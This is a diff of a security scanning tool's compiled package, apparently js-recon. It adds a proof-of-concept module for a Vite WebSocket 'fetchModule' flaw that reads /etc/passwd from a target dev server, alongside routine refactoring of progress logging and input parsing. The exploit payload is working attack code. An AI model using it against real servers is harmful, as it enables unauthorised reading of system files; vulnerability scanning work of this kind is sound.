//# sourceMappingURL=cve-2025-30208.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cve-2025-30208.js","sourceRoot":"","sources":["../../../src/exploit/vite/cve-2025-30208.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAClD,OAAO,aAAa,MAAM,gCAAgC,CAAC;AAG3D,kFAAkF;AAClF,MAAM,eAAe,GAAG,CAAC,aAAa,EAAE,OAAO,CAAU,CAAC;AAE1D,gEAAgE;AAChE,MAAM,YAAY,GAA2B;IACzC,aAAa,EAAE,OAAO;IACtB,OAAO,EAAE,GAAG;CACf,CAAC;AAEF,MAAM,CAAC,MAAM,WAAW,GAAG,CAAC,OAAe,EAAU,EAAE,CAAC,OAAO,OAAO,aAAa,CAAC;AAEpF,qGAAqG;AACrG,MAAM,CAAC,MAAM,2BAA2B,GAAG,CAAC,OAAe,EAAU,EAAE,CAAC,OAAO,OAAO,eAAe,CAAC;AAEtG,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,KAAK,MAAM,OAAO,IAAI,eAAe,EAAE,CAAC;QACpC,MAAM,WAAW,GAAG,IAAI,GAAG,CAAC,WAAW,CAAC,OAAO,CAAC,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;QAC1E,MAAM,UAAU,GAAG,IAAI,GAAG,CAAC,2BAA2B,CAAC,OAAO,CAAC,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;QAEzF,MAAM,QAAQ,GAAG,MAAM,UAAU,CAAC,WAAW,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;QAC7F,MAAM,OAAO,GAAG,MAAM,UAAU,CAAC,UAAU,EAAE,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,MAAM,EAAE,GAAG,CAAC,MAAM,EAAE,CAAC,CAAC;QAC3F,IAAI,CAAC,QAAQ,IAAI,CAAC,OAAO;YAAE,SAAS;QAEpC,MAAM,MAAM,GAAG,YAAY,CAAC,OAAO,CAAC,CAAC;QACrC,MAAM,IAAI,GAAG,aAAa,CAAC,QAAQ,EAAE,OAAO,EAAE,CAAC,MAAM,CAAC,CAAC,CAAC;QACxD,IAAI,IAAI,CAAC,gBAAgB,EAAE,CAAC;YACxB,OAAO;gBACH,UAAU,EAAE,IAAI;gBAChB,QAAQ,EAAE,wBAAwB,OAAO,6CAA6C,QAAQ,CAAC,MAAM,sBAAsB,OAAO,CAAC,MAAM,IAAI;gBAC7I,cAAc,EAAE,CAAC,UAAU,CAAC;gBAC5B,gBAAgB,EAAE,EAAE,IAAI,EAAE,OAAO,EAAE;aACtC,CAAC;QACN,CAAC;IACL,CAAC;IAED,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,iDAAiD,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;AAClH,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}
|
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import { connectViteHmr, sendRpcAndAwait } from "../utility/wsClient.js";
|
|
11
|
+
const CANDIDATE_FILES = ["/etc/passwd"];
|
|
12
|
+
export const buildFetchModuleMessage = (id, absPath) => ({
|
|
13
|
+
type: "custom",
|
|
14
|
+
event: "vite:invoke",
|
|
15
|
+
data: {
|
|
16
|
+
id,
|
|
17
|
+
name: "fetchModule",
|
|
18
|
+
data: [`file://${absPath}?raw`, undefined, { cached: false }],
|
|
19
|
+
},
|
|
20
|
+
});
|
|
21
|
+
/**
|
|
22
|
+
* CVE-2026-39363: unlike the HTTP-only fs.deny bypass (CVE-2025-30208), this vulnerability is
|
|
23
|
+
* transport-class — the HTTP /@fs/ endpoint's fs.deny checks simply never apply to the WebSocket
|
|
24
|
+
* `fetchModule` RPC exposed over the vite-hmr socket. There's no "baseline should fail" concept to
|
|
25
|
+
* diff against; `vulnerable` is just whether the RPC returned real file content.
|
|
26
|
+
*/
|
|
27
|
+
const cve202639363 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
|
|
28
|
+
let ws;
|
|
29
|
+
try {
|
|
30
|
+
ws = yield connectViteHmr(ctx.baseUrl, ctx.timeout);
|
|
31
|
+
}
|
|
32
|
+
catch (err) {
|
|
33
|
+
return { vulnerable: false, evidence: `WebSocket connect failed: ${err}`, discoveredUrls: [] };
|
|
34
|
+
}
|
|
35
|
+
try {
|
|
36
|
+
for (const absPath of CANDIDATE_FILES) {
|
|
37
|
+
const requestId = `poc-${absPath.replace(/\W/g, "-")}`;
|
|
38
|
+
const result = yield sendRpcAndAwait(ws, buildFetchModuleMessage(requestId, absPath), ctx.timeout);
|
|
39
|
+
const content = typeof result === "string" ? result : JSON.stringify(result !== null && result !== void 0 ? result : "");
|
|
40
|
+
if (content.includes("root:")) {
|
|
41
|
+
return {
|
|
42
|
+
vulnerable: true,
|
|
43
|
+
evidence: `WebSocket fetchModule RPC returned contents of ${absPath}, bypassing HTTP-only fs.deny.`,
|
|
44
|
+
discoveredUrls: [],
|
|
45
|
+
rawFindingExtras: { file: absPath },
|
|
46
|
+
};
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
return {
|
|
50
|
+
vulnerable: false,
|
|
51
|
+
evidence: "fetchModule RPC did not return sensitive file content.",
|
|
52
|
+
discoveredUrls: [],
|
|
53
|
+
};
|
|
54
|
+
}
|
|
55
|
+
finally {
|
|
56
|
+
ws.close();
|
|
57
|
+
}
|
|
58
|
+
});
|
|
59
|
+
export default cve202639363;
|
|
60
|
+
//# sourceMappingURL=cve-2026-39363.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cve-2026-39363.js","sourceRoot":"","sources":["../../../src/exploit/vite/cve-2026-39363.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,EAAE,cAAc,EAAE,eAAe,EAA0B,MAAM,wBAAwB,CAAC;AAGjG,MAAM,eAAe,GAAG,CAAC,aAAa,CAAU,CAAC;AAEjD,MAAM,CAAC,MAAM,uBAAuB,GAAG,CAAC,EAAU,EAAE,OAAe,EAAqB,EAAE,CAAC,CAAC;IACxF,IAAI,EAAE,QAAQ;IACd,KAAK,EAAE,aAAa;IACpB,IAAI,EAAE;QACF,EAAE;QACF,IAAI,EAAE,aAAa;QACnB,IAAI,EAAE,CAAC,UAAU,OAAO,MAAM,EAAE,SAAS,EAAE,EAAE,MAAM,EAAE,KAAK,EAAE,CAAC;KAChE;CACJ,CAAC,CAAC;AAEH;;;;;GAKG;AACH,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,IAAI,EAAE,CAAC;IACP,IAAI,CAAC;QACD,EAAE,GAAG,MAAM,cAAc,CAAC,GAAG,CAAC,OAAO,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC;IACxD,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACX,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,QAAQ,EAAE,6BAA6B,GAAG,EAAE,EAAE,cAAc,EAAE,EAAE,EAAE,CAAC;IACnG,CAAC;IAED,IAAI,CAAC;QACD,KAAK,MAAM,OAAO,IAAI,eAAe,EAAE,CAAC;YACpC,MAAM,SAAS,GAAG,OAAO,OAAO,CAAC,OAAO,CAAC,KAAK,EAAE,GAAG,CAAC,EAAE,CAAC;YACvD,MAAM,MAAM,GAAG,MAAM,eAAe,CAAC,EAAE,EAAE,uBAAuB,CAAC,SAAS,EAAE,OAAO,CAAC,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC;YACnG,MAAM,OAAO,GAAG,OAAO,MAAM,KAAK,QAAQ,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,IAAI,CAAC,SAAS,CAAC,MAAM,aAAN,MAAM,cAAN,MAAM,GAAI,EAAE,CAAC,CAAC;YACnF,IAAI,OAAO,CAAC,QAAQ,CAAC,OAAO,CAAC,EAAE,CAAC;gBAC5B,OAAO;oBACH,UAAU,EAAE,IAAI;oBAChB,QAAQ,EAAE,kDAAkD,OAAO,gCAAgC;oBACnG,cAAc,EAAE,EAAE;oBAClB,gBAAgB,EAAE,EAAE,IAAI,EAAE,OAAO,EAAE;iBACtC,CAAC;YACN,CAAC;QACL,CAAC;QACD,OAAO;YACH,UAAU,EAAE,KAAK;YACjB,QAAQ,EAAE,wDAAwD;YAClE,cAAc,EAAE,EAAE;SACrB,CAAC;IACN,CAAC;YAAS,CAAC;QACP,EAAE,CAAC,KAAK,EAAE,CAAC;IACf,CAAC;AACL,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}
|
|
@@ -12,8 +12,10 @@ import fs from "fs";
|
|
|
12
12
|
import path from "path";
|
|
13
13
|
import * as cliProgress from "cli-progress";
|
|
14
14
|
import frameworkDetect from "../lazyLoad/techDetect/index.js";
|
|
15
|
-
import { computeBarSize, watchBarResize,
|
|
15
|
+
import { activateBarLogger, computeBarSize, progressLog, watchBarResize, withProgressResources, } from "../utility/progressLog.js";
|
|
16
16
|
import * as globalsUtil from "../utility/globals.js";
|
|
17
|
+
import { resolveTargetInputs } from "../utility/targetInputs.js";
|
|
18
|
+
import { printMsg, MSG } from "../utility/printMsg.js";
|
|
17
19
|
const FRAMEWORK_LABELS = {
|
|
18
20
|
next: "next.js",
|
|
19
21
|
vue: "vue.js",
|
|
@@ -22,16 +24,6 @@ const FRAMEWORK_LABELS = {
|
|
|
22
24
|
angular: "angular",
|
|
23
25
|
react: "react",
|
|
24
26
|
};
|
|
25
|
-
const parseUrls = (urlArg) => {
|
|
26
|
-
if (fs.existsSync(urlArg)) {
|
|
27
|
-
return fs
|
|
28
|
-
.readFileSync(urlArg, "utf-8")
|
|
29
|
-
.split("\n")
|
|
30
|
-
.map((u) => u.trim())
|
|
31
|
-
.filter((u) => u.length > 0);
|
|
32
|
-
}
|
|
33
|
-
return [urlArg];
|
|
34
|
-
};
|
|
35
27
|
export const deriveOutputPath = (outputFile, format) => {
|
|
36
28
|
const ext = path.extname(outputFile);
|
|
37
29
|
const base = ext ? outputFile.slice(0, -ext.length) : outputFile;
|
|
@@ -71,11 +63,11 @@ const appendResult = (result, completedResults, outputFile, formats) => {
|
|
|
71
63
|
const logOutputFiles = (outputFile, formats) => {
|
|
72
64
|
for (const format of formats) {
|
|
73
65
|
const filePath = deriveOutputPath(outputFile, format);
|
|
74
|
-
|
|
66
|
+
printMsg(MSG.Run, `[✓] Results written to ${filePath}`);
|
|
75
67
|
}
|
|
76
68
|
};
|
|
77
69
|
const fingerprint = (urlArg_1, outputFile_1, formatArg_1, ...args_1) => __awaiter(void 0, [urlArg_1, outputFile_1, formatArg_1, ...args_1], void 0, function* (urlArg, outputFile, formatArg, threads = 5) {
|
|
78
|
-
const urls =
|
|
70
|
+
const urls = resolveTargetInputs(urlArg).targets;
|
|
79
71
|
const concurrency = Math.max(1, threads);
|
|
80
72
|
const rawFormats = formatArg
|
|
81
73
|
.split(",")
|
|
@@ -99,8 +91,7 @@ const fingerprint = (urlArg_1, outputFile_1, formatArg_1, ...args_1) => __awaite
|
|
|
99
91
|
}, cliProgress.Presets.shades_classic);
|
|
100
92
|
const bar = multiBar.create(urls.length, 0, { url: "" });
|
|
101
93
|
const stopWatcher = watchBarResize(bar, overhead);
|
|
102
|
-
|
|
103
|
-
globalsUtil.setQuiet(true);
|
|
94
|
+
const releaseBarLogger = activateBarLogger(multiBar, process.stdout.isTTY === true);
|
|
104
95
|
let nextIdx = 0;
|
|
105
96
|
const worker = () => __awaiter(void 0, void 0, void 0, function* () {
|
|
106
97
|
var _a;
|
|
@@ -131,13 +122,12 @@ const fingerprint = (urlArg_1, outputFile_1, formatArg_1, ...args_1) => __awaite
|
|
|
131
122
|
bar.increment(1);
|
|
132
123
|
}
|
|
133
124
|
});
|
|
134
|
-
yield
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
stopWatcher();
|
|
125
|
+
yield withProgressResources(() => __awaiter(void 0, void 0, void 0, function* () {
|
|
126
|
+
globalsUtil.setQuiet(true);
|
|
127
|
+
yield Promise.all(Array.from({ length: Math.min(concurrency, urls.length) }, worker));
|
|
128
|
+
}), () => globalsUtil.setQuiet(false), () => multiBar.stop(), stopWatcher, releaseBarLogger);
|
|
139
129
|
const detected = results.filter((r) => r.framework !== null).length;
|
|
140
|
-
|
|
130
|
+
printMsg(MSG.Header, `\n[i] ${detected}/${results.length} URLs fingerprinted`);
|
|
141
131
|
if (outputFile) {
|
|
142
132
|
logOutputFiles(outputFile, formats);
|
|
143
133
|
}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/fingerprint/index.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,KAAK,WAAW,MAAM,cAAc,CAAC;AAC5C,OAAO,eAAe,MAAM,iCAAiC,CAAC;AAC9D,OAAO,
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/fingerprint/index.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,KAAK,WAAW,MAAM,cAAc,CAAC;AAC5C,OAAO,eAAe,MAAM,iCAAiC,CAAC;AAC9D,OAAO,EACH,iBAAiB,EACjB,cAAc,EACd,WAAW,EACX,cAAc,EACd,qBAAqB,GACxB,MAAM,2BAA2B,CAAC;AACnC,OAAO,KAAK,WAAW,MAAM,uBAAuB,CAAC;AACrD,OAAO,EAAE,mBAAmB,EAAoB,MAAM,4BAA4B,CAAC;AACnF,OAAO,EAAE,QAAQ,EAAE,GAAG,EAAE,MAAM,wBAAwB,CAAC;AASvD,MAAM,gBAAgB,GAA2B;IAC7C,IAAI,EAAE,SAAS;IACf,GAAG,EAAE,QAAQ;IACb,IAAI,EAAE,SAAS;IACf,MAAM,EAAE,QAAQ;IAChB,OAAO,EAAE,SAAS;IAClB,KAAK,EAAE,OAAO;CACjB,CAAC;AAEF,MAAM,CAAC,MAAM,gBAAgB,GAAG,CAAC,UAAkB,EAAE,MAAoB,EAAU,EAAE;IACjF,MAAM,GAAG,GAAG,IAAI,CAAC,OAAO,CAAC,UAAU,CAAC,CAAC;IACrC,MAAM,IAAI,GAAG,GAAG,CAAC,CAAC,CAAC,UAAU,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,UAAU,CAAC;IACjE,IAAI,MAAM,KAAK,KAAK;QAAE,OAAO,GAAG,IAAI,MAAM,CAAC;IAC3C,IAAI,MAAM,KAAK,MAAM;QAAE,OAAO,GAAG,IAAI,OAAO,CAAC;IAC7C,IAAI,MAAM,KAAK,OAAO;QAAE,OAAO,GAAG,IAAI,QAAQ,CAAC;IAC/C,OAAO,GAAG,IAAI,MAAM,CAAC;AACzB,CAAC,CAAC;AAEF,MAAM,eAAe,GAAG,CAAC,UAAkB,EAAE,OAAuB,EAAQ,EAAE;IAC1E,KAAK,MAAM,MAAM,IAAI,OAAO,EAAE,CAAC;QAC3B,MAAM,QAAQ,GAAG,gBAAgB,CAAC,UAAU,EAAE,MAAM,CAAC,CAAC;QACtD,EAAE,CAAC,aAAa,CAAC,QAAQ,EAAE,MAAM,KAAK,KAAK,CAAC,CAAC,CAAC,iBAAiB,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC;IAC1E,CAAC;AACL,CAAC,CAAC;AAEF,MAAM,YAAY,GAAG,CACjB,MAAyB,EACzB,gBAAqC,EACrC,UAAkB,EAClB,OAAuB,EACnB,EAAE;;IACN,KAAK,MAAM,MAAM,IAAI,OAAO,EAAE,CAAC;QAC3B,MAAM,QAAQ,GAAG,gBAAgB,CAAC,UAAU,EAAE,MAAM,CAAC,CAAC;QACtD,IAAI,MAAM,KAAK,KAAK,EAAE,CAAC;YACnB,EAAE,CAAC,cAAc,CAAC,QAAQ,EAAE,GAAG,MAAA,MAAM,CAAC,SAAS,mCAAI,SAAS,IAAI,MAAM,CAAC,GAAG,IAAI,CAAC,CAAC;QACpF,CAAC;aAAM,IAAI,MAAM,KAAK,MAAM,EAAE,CAAC;YAC3B,MAAM,IAAI,GAAG,gBAAgB,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,WAAC,OAAA,CAAC,EAAE,GAAG,EAAE,CAAC,CAAC,GAAG,EAAE,SAAS,EAAE,MAAA,CAAC,CAAC,SAAS,mCAAI,SAAS,EAAE,CAAC,CAAA,EAAA,CAAC,CAAC;YAChG,EAAE,CAAC,aAAa,CAAC,QAAQ,EAAE,IAAI,CAAC,SAAS,CAAC,IAAI,EAAE,IAAI,EAAE,CAAC,CAAC,GAAG,IAAI,CAAC,CAAC;QACrE,CAAC;aAAM,IAAI,MAAM,KAAK,OAAO,EAAE,CAAC;YAC5B,EAAE,CAAC,cAAc,CACb,QAAQ,EACR,IAAI,CAAC,SAAS,CAAC,EAAE,GAAG,EAAE,MAAM,CAAC,GAAG,EAAE,SAAS,EAAE,MAAA,MAAM,CAAC,SAAS,mCAAI,SAAS,EAAE,CAAC,GAAG,IAAI,CACvF,CAAC;QACN,CAAC;aAAM,CAAC;YACJ,EAAE,CAAC,cAAc,CAAC,QAAQ,EAAE,IAAI,MAAA,MAAM,CAAC,SAAS,mCAAI,SAAS,KAAK,MAAM,CAAC,GAAG,IAAI,CAAC,CAAC;QACtF,CAAC;IACL,CAAC;AACL,CAAC,CAAC;AAEF,MAAM,cAAc,GAAG,CAAC,UAAkB,EAAE,OAAuB,EAAQ,EAAE;IACzE,KAAK,MAAM,MAAM,IAAI,OAAO,EAAE,CAAC;QAC3B,MAAM,QAAQ,GAAG,gBAAgB,CAAC,UAAU,EAAE,MAAM,CAAC,CAAC;QACtD,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,0BAA0B,QAAQ,EAAE,CAAC,CAAC;IAC5D,CAAC;AACL,CAAC,CAAC;AAEF,MAAM,WAAW,GAAG,iDAKH,EAAE,wFAJf,MAAmB,EACnB,UAA8B,EAC9B,SAAiB,EACjB,OAAO,GAAG,CAAC;IAEX,MAAM,IAAI,GAAG,mBAAmB,CAAC,MAAM,CAAC,CAAC,OAAO,CAAC;IACjD,MAAM,WAAW,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,OAAO,CAAC,CAAC;IAEzC,MAAM,UAAU,GAAG,SAAS;SACvB,KAAK,CAAC,GAAG,CAAC;SACV,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC;SAClC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,KAAK,MAAM,IAAI,CAAC,KAAK,KAAK,IAAI,CAAC,KAAK,MAAM,IAAI,CAAC,KAAK,OAAO,CAAmB,CAAC;IACnG,MAAM,OAAO,GAAmB,UAAU,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,UAAU,CAAC,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC;IAE9E,MAAM,OAAO,GAAwB,IAAI,KAAK,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;IAC5D,MAAM,gBAAgB,GAAwB,EAAE,CAAC;IAEjD,IAAI,UAAU,EAAE,CAAC;QACb,eAAe,CAAC,UAAU,EAAE,OAAO,CAAC,CAAC;IACzC,CAAC;IAED,MAAM,QAAQ,GAAG,EAAE,CAAC;IACpB,MAAM,QAAQ,GAAG,IAAI,WAAW,CAAC,QAAQ,CACrC;QACI,MAAM,EAAE,KAAK,CAAC,IAAI,CAAC,qBAAqB,CAAC,GAAG,iCAAiC;QAC7E,eAAe,EAAE,GAAG;QACpB,iBAAiB,EAAE,GAAG;QACtB,OAAO,EAAE,cAAc,CAAC,QAAQ,CAAC;QACjC,UAAU,EAAE,IAAI;QAChB,eAAe,EAAE,KAAK;QACtB,cAAc,EAAE,KAAK;KACxB,EACD,WAAW,CAAC,OAAO,CAAC,cAAc,CACrC,CAAC;IAEF,MAAM,GAAG,GAAG,QAAQ,CAAC,MAAM,CAAC,IAAI,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE,GAAG,EAAE,EAAE,EAAE,CAAC,CAAC;IACzD,MAAM,WAAW,GAAG,cAAc,CAAC,GAAG,EAAE,QAAQ,CAAC,CAAC;IAClD,MAAM,gBAAgB,GAAG,iBAAiB,CAAC,QAAQ,EAAE,OAAO,CAAC,MAAM,CAAC,KAAK,KAAK,IAAI,CAAC,CAAC;IAEpF,IAAI,OAAO,GAAG,CAAC,CAAC;IAEhB,MAAM,MAAM,GAAG,GAAwB,EAAE;;QACrC,OAAO,IAAI,EAAE,CAAC;YACV,MAAM,GAAG,GAAG,OAAO,EAAE,CAAC;YACtB,IAAI,GAAG,IAAI,IAAI,CAAC,MAAM;gBAAE,OAAO;YAC/B,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC;YAEtB,MAAM,UAAU,GAAG,GAAG,CAAC,MAAM,GAAG,EAAE,CAAC,CAAC,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,GAAG,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC;YACpE,GAAG,CAAC,MAAM,CAAC,EAAE,GAAG,EAAE,UAAU,EAAE,CAAC,CAAC;YAEhC,IAAI,SAAS,GAAkB,IAAI,CAAC;YACpC,IAAI,CAAC;gBACD,MAAM,IAAI,GAAG,MAAM,eAAe,CAAC,GAAG,CAAC,CAAC;gBACxC,SAAS,GAAG,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC;YACxC,CAAC;YAAC,WAAM,CAAC;gBACL,uCAAuC;YAC3C,CAAC;YAED,MAAM,KAAK,GAAsB,EAAE,GAAG,EAAE,SAAS,EAAE,CAAC;YACpD,OAAO,CAAC,GAAG,CAAC,GAAG,KAAK,CAAC;YACrB,gBAAgB,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;YAE7B,IAAI,UAAU,EAAE,CAAC;gBACb,YAAY,CAAC,KAAK,EAAE,gBAAgB,EAAE,UAAU,EAAE,OAAO,CAAC,CAAC;YAC/D,CAAC;YAED,MAAM,KAAK,GAAG,SAAS,CAAC,CAAC,CAAC,CAAC,MAAA,gBAAgB,CAAC,SAAS,CAAC,mCAAI,SAAS,CAAC,CAAC,CAAC,CAAC,SAAS,CAAC;YACjF,MAAM,IAAI,GAAG,SAAS,CAAC,CAAC,CAAC,KAAK,CAAC,KAAK,CAAC,IAAI,KAAK,KAAK,GAAG,EAAE,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,GAAG,CAAC,aAAa,GAAG,EAAE,CAAC,CAAC;YAC1F,WAAW,CAAC,IAAI,CAAC,CAAC;YAElB,GAAG,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC;QACrB,CAAC;IACL,CAAC,CAAA,CAAC;IAEF,MAAM,qBAAqB,CACvB,GAAS,EAAE;QACP,WAAW,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC;QAC3B,MAAM,OAAO,CAAC,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,EAAE,MAAM,EAAE,IAAI,CAAC,GAAG,CAAC,WAAW,EAAE,IAAI,CAAC,MAAM,CAAC,EAAE,EAAE,MAAM,CAAC,CAAC,CAAC;IAC1F,CAAC,CAAA,EACD,GAAG,EAAE,CAAC,WAAW,CAAC,QAAQ,CAAC,KAAK,CAAC,EACjC,GAAG,EAAE,CAAC,QAAQ,CAAC,IAAI,EAAE,EACrB,WAAW,EACX,gBAAgB,CACnB,CAAC;IAEF,MAAM,QAAQ,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,SAAS,KAAK,IAAI,CAAC,CAAC,MAAM,CAAC;IACpE,QAAQ,CAAC,GAAG,CAAC,MAAM,EAAE,SAAS,QAAQ,IAAI,OAAO,CAAC,MAAM,qBAAqB,CAAC,CAAC;IAE/E,IAAI,UAAU,EAAE,CAAC;QACb,cAAc,CAAC,UAAU,EAAE,OAAO,CAAC,CAAC;IACxC,CAAC;AACL,CAAC,CAAA,CAAC;AAEF,eAAe,WAAW,CAAC"}
|
package/build/globalConfig.js
CHANGED
|
@@ -1,9 +1,9 @@
|
|
|
1
1
|
const githubURL = "https://github.com/js-recon/js-recon";
|
|
2
2
|
const modulesDocs = "https://js-recon.io/docs/category/modules";
|
|
3
|
-
const version = "1.
|
|
3
|
+
const version = "2.0.1-alpha.1";
|
|
4
4
|
const toolDesc = "JavaScript Enumeration and SAST";
|
|
5
5
|
const axiosNonHttpMethods = ["isAxiosError"]; // methods available in axios, which are not for making HTTP requests
|
|
6
|
-
|
|
6
|
+
const CONFIG = {
|
|
7
7
|
github: githubURL,
|
|
8
8
|
modulesDocs: modulesDocs,
|
|
9
9
|
notFoundMessage: `If you believe this is an error or is a new technology, please create an issue on ${githubURL} and we'll figure it out for you`,
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"globalConfig.js","sourceRoot":"","sources":["../src/globalConfig.ts"],"names":[],"mappings":"AAAA,MAAM,SAAS,GAAG,sCAAsC,CAAC;AACzD,MAAM,WAAW,GAAG,2CAA2C,CAAC;AAChE,MAAM,OAAO,GAAG,
|
|
1
|
+
{"version":3,"file":"globalConfig.js","sourceRoot":"","sources":["../src/globalConfig.ts"],"names":[],"mappings":"AAAA,MAAM,SAAS,GAAG,sCAAsC,CAAC;AACzD,MAAM,WAAW,GAAG,2CAA2C,CAAC;AAChE,MAAM,OAAO,GAAG,eAAe,CAAC;AAChC,MAAM,QAAQ,GAAG,iCAAiC,CAAC;AACnD,MAAM,mBAAmB,GAAG,CAAC,cAAc,CAAC,CAAC,CAAC,qEAAqE;AAEnH,MAAM,MAAM,GAAG;IACX,MAAM,EAAE,SAAS;IACjB,WAAW,EAAE,WAAW;IACxB,eAAe,EAAE,qFAAqF,SAAS,kCAAkC;IACjJ,OAAO,EAAE,OAAO;IAChB,QAAQ,EAAE,QAAQ;IAClB,mBAAmB,EAAE,mBAAmB;IACxC,QAAQ,EAAE,GAAG,SAAS,oBAAoB;CAC7C,CAAC;AAEF,eAAe,MAAM,CAAC"}
|